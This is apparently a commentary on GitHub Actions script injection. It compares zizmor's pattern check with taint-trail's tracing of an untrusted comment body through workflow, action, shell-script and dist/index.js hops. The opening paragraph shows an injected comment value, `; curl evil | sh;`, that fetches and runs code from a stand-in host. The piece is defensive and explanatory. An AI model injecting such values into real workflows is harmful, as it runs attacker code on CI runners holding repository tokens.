Verifying one merged GitHub Actions env: fix took seven hops across four files

Two expansions are in play, and they happen at different times. The runner substitutes `${{ github.event.comment.body }}` into the script text before bash starts, so a comment body containing `; curl evil | sh; ` becomes shell source and runs on the runner with your token ^[1]. Assign the same expression to `env:` and bash does the substitution itself, at runtime, on a value, with the quotes holding ^[2].

zizmor's injection check works on the shape of the text: an untrusted expression inside a script is a finding ^[14]. That shape check is exactly right for the "before" of every fix. So the fix everyone applies is to get the expression out of the script ^[14]. "It does not follow the variable, because that was never its job," the author of the dev.to post wrote of that check ^[14].

In the passing trail taint-trail prints for its `moved_and_died` fixture, the value changes hands seven times across four files: the workflow, the composite action's `action.yml`, a shell script that only delegates, and a bundled `dist/index.js` ^[16][19]. Two of those hops are in the workflow file. The other five are in files a workflow scanner does not open ^[20]. The fixture is the real case with the names changed ^[21].

Following the value past `with:` is opt-in. The trail only continues when taint-trail is given `--actions-dir` pointing at action sources on disk ^[22]. For a repository that pins third-party actions by tag, those sources have to be fetched or vendored first. The post does not say whether the tool can resolve a reference it has not been handed.

The verdict on the safe path reads `DIES (heuristic): argv array via spawn( at ... /dist/index.js:7; no shell: true, no exec(, no execSync(` ^[17]. One positive shape plus three names confirmed absent. I read it as no known sink found on this path, which is what the word heuristic in the output is there to say. It is also a statement about the action's code as it stands at that commit; a later commit inside the action's repository can add an `eval` without touching the workflow that passed the scan.

The post's own recommendation is the other tool. "If you run one tool on your workflows, run zizmor," the author wrote, citing its checks for template injection, dangerous triggers, unpinned actions, cache poisoning and permissions ^[11][12]. "This is not a replacement for it" ^[13].

For the "before" case, taint-trail's output on the direct fixture names the line and the reason: line 11, `run`, with `SHELL: expression expanded into the shell script before it runs (the classic injection)` ^[23]. On the moved-but-not-fixed fixture it reports `env BODY` at line 12, then `run (eval "$BODY")` at line 15, then `SHELL: eval re-parses the value as shell` ^[15].